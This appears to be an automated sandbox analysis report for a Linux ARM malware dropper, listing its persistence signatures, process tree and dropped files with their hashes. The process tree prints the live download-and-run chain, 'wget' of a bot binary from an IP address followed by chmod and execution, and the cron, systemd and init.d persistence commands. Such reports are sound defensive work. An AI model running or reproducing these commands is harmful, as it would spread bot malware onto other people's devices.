Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/10/2026, 22:22

General

  • Target
    de02c9eeae1c6e53e582de40a40cd9f1
  • Size 577B
  • Sample261029-2ajbqsttft
  • SHA256 7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Creates a desktop entry file 3 TTPs 1 IoCs

    A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.

  • Enumerates kernel/hardware configuration 1 TTPs 8 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 29 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/de02c9eeae1c6e53e582de40a40cd9f1
    /tmp/de02c9eeae1c6e53e582de40a40cd9f1
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/uname
      uname -m
      2⤵
        PID:641
      • /bin/rm
        rm -f .nyx
        2⤵
          PID:644
        • /usr/bin/wget
          wget http://85.215.73.250/bot-linux-arm -O .nyx
          2⤵
          • Writes file to tmp directory
          PID:647
        • /bin/chmod
          chmod 777 .nyx
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /bin/rm
          rm -f .nyx
          2⤵
            PID:750
          • /tmp/.nyx
            ./.nyx
            2⤵
            • Executes dropped EXE
            • Creates/modifies Cron job
            • Modifies init.d
            • Modifies rc script
            • Modifies systemd
            • Creates a desktop entry file
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:749
            • /tmp/.nyx
              /tmp/.nyx
              3⤵
                PID:755
              • /bin/systemctl
                systemctl daemon-reload
                3⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:756
              • /bin/systemctl
                systemctl enable --now nyx-agent.service
                3⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:769
              • /usr/sbin/update-rc.d
                update-rc.d nyx-agent defaults
                3⤵
                  PID:784
                  • /usr/local/sbin/systemctl
                    systemctl daemon-reload
                    4⤵
                      PID:785
                    • /usr/local/bin/systemctl
                      systemctl daemon-reload
                      4⤵
                        PID:785
                      • /usr/sbin/systemctl
                        systemctl daemon-reload
                        4⤵
                          PID:785
                        • /usr/bin/systemctl
                          systemctl daemon-reload
                          4⤵
                            PID:785
                          • /sbin/systemctl
                            systemctl daemon-reload
                            4⤵
                              PID:785
                            • /bin/systemctl
                              systemctl daemon-reload
                              4⤵
                              • Enumerates kernel/hardware configuration
                              • Reads runtime system information
                              PID:785
                          • /bin/systemctl
                            systemctl --user daemon-reload
                            3⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:798
                          • /bin/systemctl
                            systemctl --user enable --now nyx-agent.service
                            3⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:799
                          • /usr/bin/crontab
                            crontab -l
                            3⤵
                            • Reads runtime system information
                            PID:800
                          • /usr/bin/crontab
                            crontab -
                            3⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:801

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            nyx-agent

                            • Path /etc/cron.d/nyx-agent
                            • Size 51B
                            • SHA256 c53d33f78f887a7dd91161c49e506745b746d2b95dc7b5bf9fddf5636e531269
                            • MD5 SHA1 SHA512 TLSH

                            nyx-agent

                            • Path /etc/init.d/nyx-agent
                            • Size 446B
                            • SHA256 bfa5f22e5cb81fa35ad59012b023b1af4151263f98f5e072b0ad179918e9b71e
                            • MD5 SHA1 SHA512 TLSH

                            nyx-agent.service

                            • Path /etc/systemd/system/nyx-agent.service
                            • Size 158B
                            • SHA256 2f14048069b6e6eda9653d278746b02cf11f885f3003135233f45e8803bbcdc1
                            • MD5 SHA1 SHA512 TLSH

                            nyx-agent.desktop

                            • Path /tmp/.config/autostart/nyx-agent.desktop
                            • Size 123B
                            • SHA256 8f7410b7f36489343a5a41523ed418ef50ea9177fe76c086539aa6301453d9a9
                            • MD5 SHA1 SHA512 TLSH

                            nyx-agent.service

                            • Path /tmp/.config/systemd/user/nyx-agent.service
                            • Size 122B
                            • SHA256 9690dca95dbcf6acad5d73167d2c4e77ee128faf9f3eb98b93fc8cf23dae35b0
                            • MD5 SHA1 SHA512 TLSH

                            .nyx

                            • Path /tmp/.nyx
                            • Size 1.8MB
                            • SHA256 8600929ff019567828202164c6cd62b08223badc1f6dc7216e3e5dcc5501b3c1
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            tmp.AkM5hZ

                            • Path /var/spool/cron/crontabs/tmp.AkM5hZ
                            • Size 222B
                            • SHA256 231211aac93d8eea367197a1c524356e8df560ac124301b94aed4e0aa77969c5
                            • MD5 SHA1 SHA512 TLSH